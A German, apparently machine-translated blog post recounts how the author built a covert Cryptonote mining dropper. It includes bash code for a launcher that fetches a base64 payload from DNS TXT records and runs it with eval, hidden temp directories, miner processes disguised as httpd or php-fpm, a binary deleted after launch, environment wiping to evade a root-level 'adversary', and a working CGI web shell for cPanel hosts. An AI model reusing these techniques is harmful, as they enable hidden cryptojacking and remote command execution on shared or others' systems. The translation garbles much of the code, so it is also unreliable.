•  untoreh-light

Chroniken eines Cryptonote-Tropfers

...Wie weit sind Sie bereit für ... Pfennige zu gehen?

Angenommen, du willst abbauen Kryptowährungen auf Fernbedienung virtuell Hardware. Du musst etwas für mich finden. Remote-Server bedeutet, nein ASICS oder GPU-Proof-of-Work-Algorithmen, im Grunde nur CPU-freundliche Münzen.

Die Software

Suchen und finden Sie a Bergmann , aber es ist nicht wirklich schön, Sie möchten etwas, das Sie besser aus der Ferne steuern können, also finden Sie ein anderer Bergmann . Sie wollen auch Stellvertreter , denn viele Verbindungen werden nur von kurzer Dauer sein, das willst du nicht DOS Ihr Mining-Pool. Auch eine Tunnel wäre nett.

Das Design

Einige Botnets verwenden Blockchain-Daten zum Nachschlagen von Befehlen, jemand scheint auch zu haben verlorene Wetten das passiert nicht wieder...sowieso sind wir nicht so raffiniert, wir werden mit einigen DNS-Einträgen auskommen, die ein Skript speichern, das die Nutzlast abruft, die selbstextrahieren in einem temporären Verzeichnis ausführt und verlässt schon fast keine Spur von seiner Einrichtung. Hier ist ein kleines Flussdiagramm, das den Aufbau darstellt

Startprogramm

Der Sinn eines Startskripts besteht darin, zugänglich und leicht aktualisierbar zu sein, damit es dem Test der Zeit standhält. Aktualisierung DNSRecords ist einfach, und DNS ist das Letzte, was in einem Netzwerk heruntergefahren wird..weil IP-Adressen schwer zu merken sind. Siehst du, wenn wir es sind Abrufen des Bereitstellungsskripts Wir führen bereits eine gewisse Logik aus, dies ist das Launcher-Skript, es benötigt die Fähigkeit, DNS-Abfragen durchzuführen, um unsere Datensätze zu suchen, DNS könnte allgegenwärtig sein, aber graben ist nicht.

Es gibt hier ein kleines Rätsel, wenn wir ein anderes Tool herunterladen müssen um ein weiteres Skript herunterzuladen um die Nutzlast herunterzuladen Wir sollten einfach die Nutzlast herunterladen! Zur Verteidigung... dieser Skript-Tanz trägt zur Verschleierung bei, ermöglicht es, nur eine Implementierung des Launchers (Wartbarkeit, yay) zu behalten, ist meistens nicht erforderlich statisch verknüpft dig ausführbare Datei zum Ausführen von DNS-Abfragen, die entweder durch Selbst-Hosting oder Cloud-Hosting abgerufen wird (ja, es gibt Fallbacks wie 3 oder 4, da Cloud-Dienste eine sehr minimale freie Bandbreite haben und auch Cookies oder Zugriffstoken erfordern ... sie sind sehr Skripte unfreundlich, natürlich absichtlich).

Was steht in den DNS-Datensätzen? Wir benutzen TXT Datensätze, auf einer benutzerdefinierten Domain (auch hier Fallbacks). Warum TXT? sie sind zufällig diejenigen, die die größte Datenmenge speichern können empfohlen es hängt davon ab Dinge . Wir verwenden gezielt Wolkenflare für unser DNS-Fummeln, da es kostenlos ist und so ziemlich der einzige Spieler in der Stadt ( Nun, nicht wirklich, aber jede andere Alternative verblasst in Bezug auf die Funktionen ). Es kommt vor, dass Sie mehrere Daten auf dem gleichaufzeichnen...das wird langsam verwirrend und krabbelt nach einigen Spezifikationen...(tangential) Cloudflare gewöhnt an ermöglichen angekettet TXT-Einträge mit insgesamt ~9k Bytes, in den Dokumenten sind jetzt ~2k Bytes angegeben, vor der Änderung habe ich, glaube ich, ~6k verwendet und das Skript unkomprimiert bereitgestellt, danach musste ich das Skript ausdünnen und vorher komprimieren (eigentlich habe ich versucht, a . zu verwenden befreit Provider wurde ich innerhalb eines Tages gesperrt, da ich vermute, dass sie eine strikte Richtlinie für fettfreie TXT-Records haben), jedoch scheint die gzip-Komprimierung NICHT Pipe-freundlich zu sein und verursachte immer noch Probleme, sodass ich es schaffen musste, das Skript ohne Komprimierung zu stopfen ( Endtangente).

Wie speichern wir es? TXT-Einträge unterstützen nur alphanumerische Zeichenfolgen, nein NULs , also müssen wir es in eine Nicht-Null-Codierung einpacken, base64 dieser Bedingung genügt, und weil wir speichern angekettet TXT-Records müssen wir die Ausgabe aufteilen, da wir Shell-Zeug verwenden, dies geschieht über die-w Flag, bei Busybox fehlte ein solches Flag (oder Opt-in) bei älteren Versionen, was ärgerlich war, eine Alternative besteht darin, den mit openssl gebündelten Encoder zu verwenden.openssl enc -base64.

Jetzt, da wir wissen, wie wir unser Bereitstellungsskript speichern, speichern wir es mit entweder cf cli oder manuell. Wie ziehen wir es? Wir haben erwähnt, dass wir bindutils oder unsere eigenen brauchendig ...nachdem wir den Serving-Endpunkt ausgewählt haben, möchten wir ihn herunterladen, was normalerweise verfügbar ist wget oder Locken , wget wird viel häufiger vorinstalliert gefunden, aber busybox bietet nur tls-Unterstützung mit dynamischen Bibliotheken, daher müssen Sie sicherstellen, dass der Endpunkt http bereitstellt oder Ihr Dienstprogramm dies tutwget von gnu-utils

# the wget command
wget -t 2 -T 10 -q -i- -O- > $filename <<< "$digurl"

Es bedeutet versuchen-t2mal warten-T10 Sekunden sein-q ruhige Lektüre von-i- stdin ($digurl ) und schreiben an-O- Standard ($filename ). Dieser Befehl verrät nicht auf den ersten Blick, was wir herunterladen. Wir werden aus dem gleichen Grund mit anderen Shell-Befehlen sehr vorsichtig sein oder bei der Shell bleiben ( bash ) eingebaut, wenn möglich. Achten Sie auch darauf, wo Sie Ihre ausführbaren Dateien herunterladen. Sie möchten sicherstellen, dass Sie sie ausführen können, da einige Einhängepunkte, insbesondere in Containern undtmp Wege sindnoexec . Jetzt, da wir unser DNS-Abfragetool haben, holen wir unsere Datensätze

dig txt ${record}.${zone} +short +tcp +timeout=3 +retries=0 $dnsserver

Flaggen sind hier selbsterklärend,+short bedeutet nur, dass wir nur an den Daten selbst interessiert sind, sodass wir die Ausgabe nicht analysieren müssen. Es ist wichtig, den DNS-Server anzugeben, z. B. google (8.8.8.8 ) oder Wolkenflare (1.1.1.1 ) weil viele Umgebungen DNS-Abfragen standardmäßig an ihre eigenen DNS-Server umleiten oder weiterleiten. Nachdem wir das chunked Skript geholt haben, kümmern wir uns um Anführungszeichen und Leerzeichen, um es für die Dekodierung vorzubereiten

data=${data//\"}# remove quotes
data=${data// }# remove whitespacedeclare -a ar_data
for l in$data; do
    ar_data[${l:0:1}]=${l:1}# iterate over each line and remove the first charactherdone
data=${ar_data[@]}# join all the lines
data=${data// }# ensure joining didn't add whitespace# decode
launcher=$(echo"$launcher" | $b64 -d -w $chunksize)

Was ist, wenn wir jetzt still Sie haben unseren Launcher nicht? DNS ist chaotisch, wir wollen einen Fallback, lassen Sie uns eine Subdomain einrichten, um das Launcher-Skript direkt abzurufen. Bevor wir unser Skript auswerten, möchten wir es mit einigen Variablen anpassen. Lassen Sie uns erneut einen TXT-Record verwenden, um eine NAME=VALUE-Variablenliste zu speichern und zu analysieren. Es gibt auch einen Fallback für Variablen, Cloudflare bietet Weiterleitungen basierend auf URLs an, diese Weiterleitungen werden bedient Vordas Ziel, also brauchen wir keinen Endpunkt, wir wollen nur Regex-basierte Umleitungsregeln zu einem fiktiven Endpunkt konfigurieren, was uns interessiert, sind die Parameter der URL?NAME=VALUE&NAME2=VALUE2... , damit wir unseren Launcher parametrisieren können, indem wir einfach die Weiterleitungs-URL ändern, immer unter Beachtung von Anführungszeichen und Escape-Codes

## m1 also important to stop wget
pl_vars=$(echo"$token_url" | wget -t 1 -T 3 -q -i- -S 2>&1 | grep -m1 'Location')
pl_vars=${pl_vars#*\/}
pl_vars=${pl_vars//\"&/\" }
pl_vars=${pl_vars//%3F/\?}

Das wget-S gibt die Weiterleitungs-URL aus, an der wir zum Parsen interessiert sind. Mit den Parametern und dem Skript werten wir die Variablen aus und schreiben sie über eine Datei

eval"$pl_vars"echo"export \
$pl_vars \
$ENV_VARS \
">env.sh

Diese Datei wird von einem Bereitstellungsskript bereitgestellt. Der letzte Teil des Startskripts besteht darin, zu aktualisieren Trampolin , werten Sie das Skript innerhalb des aktuellen Shell-Prozesses aus oder lassen Sie es nach Möglichkeit von tmux verwalten.

# printf preserves quoteseval"$(printf '%s' "$launcher")" &>/dev/null
# or tmuxecho"$launcher" > ".. "
tmux send-keys -t miner ". ./\".. \"" Enter

Das Launcher-Skript wird in eine Datei namens ".. " abgelegt. Dies sieht verwirrend aus, da es als a . verwechselt werden kann Elternteil Verzeichnis. Und wir fügen den Sitzungsbefehl nicht hinzu, da dieser im Prozessbefehl verweilen würde, stattdessen starten wir die tmux-Sitzung vorher und senden den Quellbefehl über die tmux-Terminalschnittstelle. In diesem Zusammenhang wird manchmal eine ausführbare Datei mit aufgerufen./ behält diese Zeichen im Befehl, daher ist es besser, die hinzuzufügen$PWD zum Weg..PATH=$PWD:$PATH.

Die Nutzlast

Unser Bereitstellungsskript beginnt mit der Beschaffung derenv.sh Datei und behalten oder konfigurierte vars alsSTARTING_* vars wie

STARTING_PATH=${STARTING_PATH:-$PATH}
STARTING_PID=$BASHPID

Auf diese Weise können wir eine laufende Instanz beenden und neu starten, während die Umgebung zurückgesetzt wird. Wechseln wir zu einem tmp-Verzeichnis mit Exec-Fähigkeiten

# out local subdirectory
pathname=$(printf".%-$((RANDOM%9+1))s"for ph in {/tmp,/dev/shm,/run,/var/tmp,/var/cache,~/.local,~/.cache,~/}; dorm -rf "$ph/$pathname" &&
        mkdir -p "$ph/$pathname" &&
        tmppath="$ph/$pathname" &&
        is_path_executable "$tmppath" &&
        export PATH="${ph}/$pathname:${PATH}" tmppath &&
        breakdone
[ -n "$tmppath" ] && cd"$tmppath"

Prüfen, ob innerhalb von a Container ist auch praktisch, wir können das Dateisystem nach Hinweisen durchsuchen

c=$(builtin compgen -G '/etc/cpa*')
d=$(builtin compgen -G '/dev/*')
s=$(builtin compgen -G '/sys/*')
p=$(builtin compgen -G '/proc/*')
jail=
if [ -n "$c" -o -z "$d" -o -z "$s" -o -z "$p" ]; then## we are in a jail
    jail=1
fi

Jetzt ist es an der Zeit, unsere Nutzlast herunterzuladen. Wir unterstützen sowohl wget als auch curl, wir wissen bereits, wie man wget mit sorgfältigen Flags verwendet, für curl ist es ein bisschen anders. Wir müssen eine Konfigurationsdatei erstellen und überschreibenCURL_HOME

echo"url = $uri
output = ${name}${format}
connect-timeout = 10
" > .curlrc
CURL_HOME=$PWD curl -sOL

Der letzte Schritt besteht darin, nur die Nutzlast zu extrahieren

type unzip &>/dev/null &&
    format=".zip" extract="unzip -q" ||
        format=".tar.gz" extract="tar xf"

Erwähnenswert ist die Verwendung eines [CDN] zur Wartung der Nutzlast. Auch hier erspart uns Cloudflare zur Rettung Bandbreitenausgaben. Durch einfaches Umbenennen unserer komprimierten Nutzlast in a Dateierweiterung unterstützt von cloudflare...es wird zwischengespeichert. Cloudflare überprüft nicht die Header dessen, was es bedient, vielleicht weil dies in diesem Umfang einfach unpraktisch ist.

Abenteuer in Baschland

Bash wurde unter der Annahme ausgewählt, dass es portabel ist, nicht zu fehl am Platz aussieht und im Vergleich zu anderen Skriptsprachen wie Perl, Ruby oder Python allgegenwärtig ist. Die Wahrheit ist, dass eine eigenständige Binärdatei, die in Golang oder Lua geschrieben wurde, viel einfacher gewesen wäre, mit weniger Fehlern und einfacher zu warten gewesen wäre , es war zu spät für eine Neufassung, und es wurde auch irgendwie langweilig.

Es gab auch die Option, busybox mit dem Kompilierzeit-Flag zu verwenden, um alle Built-Ins (wie grep und sed) zu verwenden, aber die Verwendung von Built-Ins auf diese Weise erlaubt keine Jobs (Fork) zu erzeugen und setzt den Daemon potentiellen Deadlocks aus.

Ich werde hier einige Bash-Funktionen beschreiben, wobei die vollständige Liste verfügbar ist Hier

## echo a string long $1 of random lowercase charsrand_string() {
    local c=0
    while [ $c -lt $1 ]; doprintf"\x$(printf '%x' $((97+RANDOM%25)))"
        c=$((c+1))
    done
}

Verwenden Sie dieRANDOM Variable, um eine Zahl zwischen 97-122 zu erhalten, die einem Zeichencode entspricht, printf sollte ein eingebautes sein, wir wollen nicht in einer Schleife forken.

## make a new file descriptor named $1newfd() {
    eval"local fd=\${$1}"eval"exec $fd>&-" &>/dev/null
    local pp=".$(rand_string 8)"mkfifo$ppunset"$1"eval"exec {$1}<>$pp"# unlink the named piperm -f $pp
}

Nutzen Sie Pipes, um anonyme Dateideskriptoren zu erstellen. Diese verhalten sich nicht genau wie Dateideskriptoren, aber sie sind gut genug für IPC.

## https://unix.stackexchange.com/a/407383/163931fleep()
{
    # log "fleep: called by ${FUNCNAME[1]}"
    [ -n "${_snore_fd}" -a "$1" != 0 ] ||
        newfd _snore_fd
    # log "fleep: starting waiting with ${_snore_fd}"if ! command >&${_snore_fd}; then
        newfd _snore_fd
    firead -t ${1:-1} -u $_snore_fd# log "fleep: ended"
}

Schlafen ohne Forking, indem die Timeout-Funktion des eingebauten Reads missbraucht wird, verwendet es einen dedizierten Dateideskriptor und wir müssen sicherstellen, dass er verfügbar ist, um eine Beendigung zu vermeiden.

Es gibt Funktionen wieget_pid_stats, usgmon_prc, proc_usg_u, cpumon, loadmon werden verwendet, um die Systemnutzung zu überwachen, diese verwenden alle Linux/proc Dateien ohne Tools wieps , also kein Forking, alles pure Bash.

start_coproc() {
    localunsetwhile :; doif [ "$1" = exec ]; then
            coproc_name="$2"else
            coproc_name="$1"fiif [ -n "$UNSET_COPROC_VARS" ]; thenunset="unset $UNSET_COPROC_VARS;"filog"starting coproc $coproc_name"unset -v "$coproc_name"## only the variable, not functionseval"coproc $coproc_name { $unset $*; }"# 2>/dev/nullunset UNSET_COPROC_VARS
        wait_coproc "$coproc_name" 3 && breakdone
}
stop_coproc() {
    ## clear fds
    id_coproc "$1" && [ -n "$job_n" ] && eval"kill -${2:-9} %$job_n" ||
        { eval"kill -${2:-9} \${${1}_PID}"; } ||
        { log"could not kill the specified coprocess with job $job_n" && return 1; }
}

Coprozesse sind seit bash verfügbarv4 , sind sie wie Jobs, außer dass sie einen Namen und ihre eigenen Dateideskriptoren haben.

## clear file descriptorsclear_fds() {
    local fd
    for fd in $(compgen -G "/proc/$BASHPID/fd/*"); do
        fd=${fd/*\/}if [[ ! " $* " =~ " ${fd} " ]]; thencase"$fd"in
                    0|1|2|255|"$_snore_fd")
                    ;;
                    *)
                        eval"exec $fd>&-"
                        ;;
                esacfidone
}

Wir schreiben einen Daemon, was ein langlebiger Prozess ist, und wir verwenden viele Dateideskriptoren. Wir möchten wirklich einige Bereinigungen durchführen, um Fehler zu vermeiden Grenzen.

## queries ipinfo and gets the current ip and country/regionparse_ip ()
{
    export ip country region;
    [ ! -e cfg/geoip.json ] && log"geolocation codes file not found." && return 1;
    ipquery=$(http_req ipinfo.io);
    [ -z "$ipquery" ] && log"failed querying ipinfo" && return 1;
    before_after 'ip\": \"'"$ipquery"'\"';
    ip=$(echo$after);
    [ -z "$ip" ] && log"failed parsing ipinfo data ip" && return 1;
    before_after 'country\": \"'"$ipquery"'\"';
    country=$(echo${after,,});
    [ -z "$country" ] && log"failed parsing ipinfo data country" && return 1;
    whileread l; doif [ "${l}" != "${l/\": {}" ]; then
            before_after '"'"$l"'"';
            lastregion=$(echo$after);
        elseif [ "${l}" != "${l/\"${country}\"}" ]; then
                region=$lastregion;
                break;
            fi;
        fi;
    done < cfg/geoip.json
}

Diese Funktion basiert auf ipinfo um die Region des Arbeiters zu bestimmen, was es ermöglicht, eine gebietsabhängige Logik abzustimmen, geoip.json gruppiert Länder in Regionen, da wir die Top-Level-Region wollen und nicht an dem spezifischen Land interessiert sind.

# try to open a connection to host $1 with port $2 and output to $3open_connection() {
    exec {socket}<>/dev/tcp/${1}/${2} 2>/dev/null
    echo$socket >&${3}
}

## check if a tcp connection to $1=$HOST $2=$PORT is successfulcheck_connection() {
    local host=$1 port=$2 conn_socket=
    [ -z "$host" ] && { echo'no host provided'; return 1; }
    [ -z "$port" ] && { echo'no port provided'; return 1; }
    newfd conn_socket
    timeout 3 open_connection $host$port$conn_socket# read the fd of the opened connection from the conn_socket fd and close it
    read_fd $conn_socket avl -
    if [ -n "$avl" ]; then# close connectioneval"exec ${avl}<&-" &>/dev/null
        return 0 ## connection can be establishedelsereturn 1 ## connection can't be establishedfi
}

Bash unterstützt TCP-Verbindungen, indem sie eine Abstraktion über/dev/tcp (auch für udp, aber die meisten scheinen zur Build-Zeit normalerweise deaktiviert zu sein, sodass Sie sich nicht darauf verlassen können). Diese Dateien sind eine Bash-Sache, sie sind nicht Teil von Linux/dev Baum.

Erwähnenswert ist auch ein Sperrsystem, um die Parallelität zwischen Bash-Jobs zu handhaben. Damit mehrere Jobs mit Sperren arbeiten können, müssen sie sich alle einen Dateideskriptor teilenlocker der auch ein Job ist, muss vor anderen Jobs gestartet werden, die die Sperre verwenden wollen. Der Spind liest einfach weiterstdin auf Sperranfragen warten, antworten amstdout abhängig vom aktuellen booleschen Zustand, der in einer Variablen gespeichert ist. Ich garantiere nicht, dass dieser Ansatz rassenfrei ist, scheint aber anständig zu funktionieren, andererseits habe ich festgestellt, dass Dateideskriptoren nicht sehr zuverlässig sind, da ich vermute, dass es einige Puffer gibt, die nicht irgendwo in der Datei gespült werden Rohre und schließlich in Deadlocks geraten (was bedeutet, dass Sie sich nicht darauf verlassen können, dass das Schließfach Ihnen immer eine Antwort gibt).

## unset bash env apart excluded vars/funcsclear_env(){
    localfunctions=$(declare -F)
    functions=${functions//declare -f }for u in[email protected]; dofunctions=${functions/$u[[:space:]]}functions=${functions/[[:space:]]$u}functions=${functions/[[:space:]]$u[[:space:]]}donelocal vars=$(set -o posix; set | whileread l; doecho${l/=*}; done)
    for u in[email protected]; do
        vars=${vars/$u[[:space:]]}
        vars=${vars/[[:space]]$u}
        vars=${vars/[[:space:]]$u[[:space:]]}doneunset -f $functions &>/dev/null
    unset -v $vars &>/dev/null
    # unset $vars &>/dev/null
}

## unexport most variablesdex_env() {
    exported=$(export -p)
    whileread e; do
        n=${e/declare -*x }
        [ "$n" = "$e" ] && continue## multiline var
        n=${n/=*}case"$n"in"SHELL"|"USER"|"HOME"|"TMUX"|"CHARSET"|"TERM")
                continue
                ;;
            *)
                dexported="$dexported${n/=*}"esacdone <<<"$exported"export -n $dexported
}

Räumen Sie Ihren Müll auf ... komplexe Bash-Programme verwenden am Ende viele Variablen, und wenn Sie den globalen Speicherplatz missbrauchen, wird es aufgebläht. Wenn Sie Shell-Jobs erzeugen, erben sie die gesamte Umgebung (die effektiv dupliziert, nicht geteilt wird), Sie können schnell mit Bash-Essen enden100M Speicher, nicht schön. Außerdem wollen wir wirklich unauffällig sein. In unserem Einsatzszenario ist der Gegner[1] kann möglicherweise Root-Zugriff und vollständige Informationen über unsere Prozesse haben[2] , und Sie wissen ... jeder Prozess enthält Informationen über den vollständigen Befehl, der ihn gestartet hat, und die exportierten Umgebungsvariablen.

Aufbau

Sobald wir unsere Umgebung und unsere Tools haben, müssen wir unseren Miner für die Maschine abstimmen, auf der er läuft, Konfigurationsschritte in Pseudocode:

Die Wahl eines Namens für den Prozess ist erforderlich, um verstecken die Tatsache, dass wir einen Miner betreiben, aber nicht nur unsere Binärdatei umbenennen, wir haben eine Liste von Masken für potenzielle Kandidaten (eine reine Textdatei, in der jede Zeile eine Maske ist):

Hashrate

, mit der Zeit hat der Upstream-Bergmann viele bekommen automatische Abstimmung Funktionen, also machte es einen Teil meiner Skripte überflüssig, aber der Unterschied zwischen Upstream und Downstream besteht hier darin, dass das Upstream-Ziel darin besteht, zu maximieren Leistung , während unser Ziel darin besteht, zu maximieren Effizienz und Verschleierung , wir wollen das System nicht überholen, wir wollen ein bisschen saugen ohne Serviceunterbrechung.[3]

Dafür brauchen wir ein differenzierteres Verständnis der Umwelt, diel2/l3 Cache-Struktur von Prozessor, RAM und Kernen sowie aktueller Prozessor Durchschnitt Last und CPU Verwendungszweck . Ich habe versucht, eine zu bauen Zustandsmaschine in der bash, die mit dem absoluten Minimum beginnen und verschiedene Konfigurationen ausprobieren würde, die sich langsam am besten im Durchschnitt niederlassen. Es war ein riesig Aufwandsverschwendung übersät mit Technische Schulden das ging sehr schnell bankrott und wurde größtenteils verworfen, wobei nur Reste in der Codebasis verweilten.

Frack all diesen Auto-Tuning-Jumbo, wir haben den Miner nur abhängig von der Host-Nutzung / -Last in den Ruhezustand versetzt, dies erforderte Miner-Modifikationen ansleep zwischen Threads ergibt, und ein paar Korrekturen am Konfigurations-Watchdog[4] , was es uns ermöglichen würde, den Schlafwert zur Laufzeit neu zu laden. Die Logik ist viel vereinfacht und sieht so aus:

Verbindung

In unserer Bash-Zusammenfassung haben wir Dienstprogramme für die Verbindung gezeigt. Warum brauchen wir diese? Weil wir Vielfalt brauchen; einen Endpunkt einfach hart in die Konfiguration zu codieren wird nicht lange dauern, wenn etwas verdächtig aussieht und Netzwerkaktivität hat, werden IPs gekennzeichnet.

Am Anfang haben wir mit ein paar Methoden experimentiert:

Am Ende haben wir uns damit begnügt, nur eine Liste von Endpunkten zu versenden, die in einer Bash-Variablen gespeichert sind und zufällig einen auswählen. Die Verbindungen waren natürlich verschlüsselt. Was sind diese Endpunkte? Weiterleitungen an den Proxy, der die Miner-Jobs abwickeln würde.

Warum brauchen wir a Mining-Proxy ? Ich bin nie wirklich über ~ 100 gleichzeitige Verbindungen hinausgegangen, daher war ein Proxy für die Netzwerklast nicht wirklich notwendig, aber er war praktisch, um den Hashing-Algorithmus auszuhandeln und verschiedene Schwierigkeitsziele für verschiedene Miner bereitzustellen, um zu verhindern, dass Miner daran arbeiten Schwierigkeit Ziele, deren Ausführung zu viel Zeit in Anspruch nehmen würde, und vermeiden das Risiko, Berechnungen für unfertige Jobs zu verschwenden.[5] Auch an der Pool-Software waren einige Änderungen erforderlich, da sie gerne als Proxy für einfache HTTP-Anfragen annoncierte ... das musste eine Zeitüberschreitung haben , und ein Fork hat die Zugriffskontrolle hinzugefügt, also haben wir unsere Mods darauf aufgebaut.[6]

json bearbeiten

Das Anwenden von Änderungen auf eine Json-Datei mit nur bash kam mit einigen env var-Ersetzungen und einigen Regex aus. Anfangs verließen wir uns auf einenvsubst binär, um Variablen anzuwenden, dann haben wir volle Bash gemacht[7] mit dieser Logik:

Abgesehen von der Vermeidung von Unterprozessen besteht ein weiterer Vorteil darin, dass wir in unseren Vorlagen vollständige Bash-Funktionen erhalten. Zum Lesen und Schreiben ohne Vorlagen sind wir auf die Regex-Fähigkeiten der Bash angewiesen:

cc_rgx='( *".*?" *: *)("(.*?)"|([^,]*?)) *(,|.*?\/\/.*?|\n|$)'change_config() {
	local subs
	whileread l; doif [ "${l}" != "${l/\"*$1*\"*:/}" ]; then
			[[ "${l}" =~ $cc_rgx ]]
			matches=("${BASH_REMATCH[@]}")
			[ -n "${matches[3]}" -a "${2:0:1}" != "\"" ] &&
				subs="\"$2\"" ||
				subs="$2"
			CONFIG=${CONFIG/${matches[0]}/${matches[1]}$subs${matches[5]}}breakfidone <<<"$(printf '%s' "$CONFIG" 2>/dev/null)"
}

## output miner config value $1 unquoted
gc_rgx=' *"[^:]+" *: *("(.*?)"|([^,]*)) *(,|.*?\/\/.*?|\n|$)'get_config() {
	whileread l; doif [ "${l}" != "${l/\"*$1*\"*:/}" ]; then
			[[ "${l}" =~ $gc_rgx ]]
			[ -n "${BASH_REMATCH[2]}" ] &&
				printf'%s'"${BASH_REMATCH[2]}" ||
				printf'%s'"${BASH_REMATCH[3]}"breakfidone <<<"$(printf '%s' "$CONFIG" 2>/dev/null)"
}

Damit können wir nur einzelne Zeilen bearbeiten, bei mehrzeiligen Einträgen wird nur die erste Zeile berücksichtigt..aber für unseren Anwendungsfall ist es gut genug.

Laufzeit

Wie sieht unsere Laufzeit aus? Wir haben einen Haupt-Bash-Prozess, der die Hauptschleife ausführt, dann den Miner-Unterprozess, den CPU-Monitor-Unterprozess, das Schließfach und den Tuner. Das ist fast eine Handvoll.

Zuerst wollen wir sicherstellen, dass wir, wenn etwas schief geht, kein Durcheinander hinterlassen, das bedeutet, dass wir eine Bash-Trap verwenden, um bei der Beendigung aufzuräumen

trap"trap - SIGINT EXIT SIGKILL SIGTERM; kill -9 \$(jobs -p); cleanup &>/dev/null ; fleep 10" SIGINT EXIT SIGKILL SIGTERM

trap - ... deaktiviert die Falle, um eine Rekursion zu verhindern. Die Falle tötet alle Jobs und entfernt die Arbeitsumgebung.

Es ist Zeit, den Miner zu starten, der als Bash-Variable in base64-Codierung gespeichert wird. Wir legen es auf dem Dateisystem ab, dann geben wir die Konfiguration ab, führen den Miner aus und entfernen sowohl den Miner als auch die Konfiguration. Unter Linux können Sie die ausführbare Datei eines laufenden Prozesses entfernen (unter Windows ist dies nicht zulässig).[8]Wenn der Miner läuft, gibt es auf dem Dateisystem nur a.. / Verzeichnis mit ab64 darin verlinken.

## put a file $1 into a var $2fileToVar(){
    declare -n tmpd="$2" && tmpd=$(b64e "$1") && returnif [ -z "$tmpd" ]; thenlog"gobbling in array"eval"$2=1"## avoid empty checks
        gobbled[$2]=$(b64e "$1")
    elsereturn 1 ## do not quote assignment otherwise ram is not releasedfi
}
## put a var $1 into a file $2varToFile(){
    if [ -n "$VERBOSE" ]; thenifdeclare -n 2>>${VERBOSE} && eval"b64d <<<\"\$$1\" 1>\"$2\" 2>>${VERBOSE}"; thenreturnelse# log "dumping from array"eval"b64d <<<\"\${gobbled[$1]}\" 1>\"$2\" 2>>${VERBOSE}" && returnfireturn 1
    elseifdeclare -n && eval"b64d <<<\"\$$1\" >\"$2\""; thenreturnelse# log "dumping from array"eval"b64d <<<\"\${gobbled[$1]}\" >\"$2\"" && returnfireturn 1
    fi
}

Eine wahnsinnige Eigenart, die bei der Codierung des Miners mit bash auftritt, ist die Zuweisung einer Variablen mit einer Subshell mit Anführungszeichenmyvar="$(something)" verursacht eine permanente Erhöhung des Speicherverbrauchs, dies war schwer zu debuggen und ich habe nicht wirklich den Grund dafür gefunden, warum sich dies so verhält, die Zuweisung muss sowieso nicht in Anführungszeichen gesetzt werden. Die Dekodierung erfolgt stattdessen mit Herestrings was eine Abstraktion über temporäre Dateien ist, wird die Variable in eine Datei geschrieben, die dann zurück in den Prozess geleitet wird.

Die Miner-Langlaufschleife:

Die Ausgabezeile wird mit einigen Regex abgeglichen:

act_rgx='(accepted|speed|paused|algo:|-> update config|-> publish config|-> trigger restart|\[CC\-Client\] error|Error: \"\[Connect\]|POOL #1:      \(null\))|not enough memory|self-test failed|read error|cpu  disabled'

Der Daemon behandelt Fälle, in denen

Eine Zeit lang gab es Unterstützung für das Command and Control Dashboard, das manuelle Neustarts ermöglichte, aber da seine Nutzung minimal war, wurde es verworfen und seine Endpunkte wurden durch eine alternative Pool-Verbindung ersetzt, auch der Neustart war instabil, komplex. ..ein weiterer Fall von Tech-Schulden. Es erlaubte jedoch, eine aktualisierte Nutzlast erneut abzurufen und alle Konfigurationen im Handumdrehen neu einzurichten, was ziemlich cool war, das ultimative Trampolin.

Debuggen

Es gibt drei Hauptdienstprogramme

Zielbereitstellungen

Dieses Setup wurde auf 3 Arten von Hosts getestet:

Selbst gehostete Container oder VMs

Viele Hosting-Anbieter mögen das Mining nicht, da CPU-Ressourcen in der Regel von mehreren Benutzern geteilt werden und Mining-Software einen Hostknoten leicht verlangsamen kann, was die Leistung für den Rest der Benutzer beeinträchtigt. Dies kann selbst dann zutreffen, wenn die CPU-Benutzerzeit unbegrenzt ist, da Hashing-Algorithmen alle Caching-Schichten der CPU sättigen können, wenn der Cache von allen CPU-Kernen gemeinsam genutzt wird.

Wir möchten unsere gerecht Ressourcen teilen, ohne gesperrt zu werden, das ist ein guter Anwendungsfall für unseren Stealth-Dropper, da er die Host-Nutzung kennt, was bedeutet, dass es sollen bleibe irgendwie innerhalb von [AUP]. Es gibt keine zusätzlichen Schritte bei selbst gehosteten Bereitstellungen, nur das Launcher-Skript, das möglicherweise der Bootsequenz hinzugefügt oder manuell gestartet wird.

cPanel-basiertes Webhosting

Webhosting-Abonnements werden meistens über [cPanel] angeboten. Auch hier verwenden wir persönliche Abonnementpläne mit angemessenen Ressourcenbeschränkungen, auf der anderen Seite hat jeder kostenlose Plan lächerliche Beschränkungen[9] . cPanel ermöglicht es Ihnen, Handler für verschiedene Dateierweiterungen zu definieren, dies ermöglicht uns die Ausführung von Shell-Skripten über das cgi mit einer http-Anfrage gegen ein auf den Server hochgeladenes Shell-Skript. Diese Art von Schnittstellen sehen Web-Shells aus[10] . Eine einfache Bash-Web-Shell

# without content encoding the request response won't be honoredecho -e 'Content-Type: text/plain\n'
SERVER_NAME=myserver
## parse vars (for interactive use)
saveIFS=$IFS
IFS='=&'
parm=($QUERY_STRING)
IFS=$saveIFSfor ((i=0; i<${#parm[@]}; i+=2))
dodeclare var_${parm[i]}=${parm[i+1]}done## exec command for interactive and proclimited scenarios
url_encoded="${var_path//+/ }"export PATH=".:$PATH"
. /dev/shm/srv/utils/load.env &>/dev/null

ifdeclare -f "${url_encoded/\%20*}" 1>/dev/null; then## don't use -n, redirect fd for bcompatprintf'%b'"${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
elseifbuiltin"${url_encoded/\%20*}"; thenprintf'%b'"${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
    elseprintf'exec %b'"${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
    fifi
. /tmp/${SERVER_NAME}.src

Es ist besser, sich nur auf Built-Ins zu verlassen, da das Forking zusätzlicher Prozesse in Webjails möglicherweise nicht erlaubt ist, aber es ist immer möglich,exec wodurch wir die meisten Befehlszeilen-Dienstprogramme verwenden können. Die meisten Web-Shells sind in anderen Skriptsprachen wie Python oder PHP geschrieben, da Sie sich keine Gedanken über das Forking machen müssen.

In einer cpanel-Umgebung ist es besser, einen statischen Namen für den Miner-Prozess zu verwenden, wie zhttpd oderphp-fpm dacgi basiert auf Multi-Processing, daher sind Server immer mit vielen Prozessen gefüllt, die so genannt werden, obwohl ein aufmerksamer Beobachter dies beachten sollte mehrfädig Verwendungsmuster, das für Sprachen wie Perl, PHP, Ruby oder Python definitiv nicht üblich (oder möglich) ist!

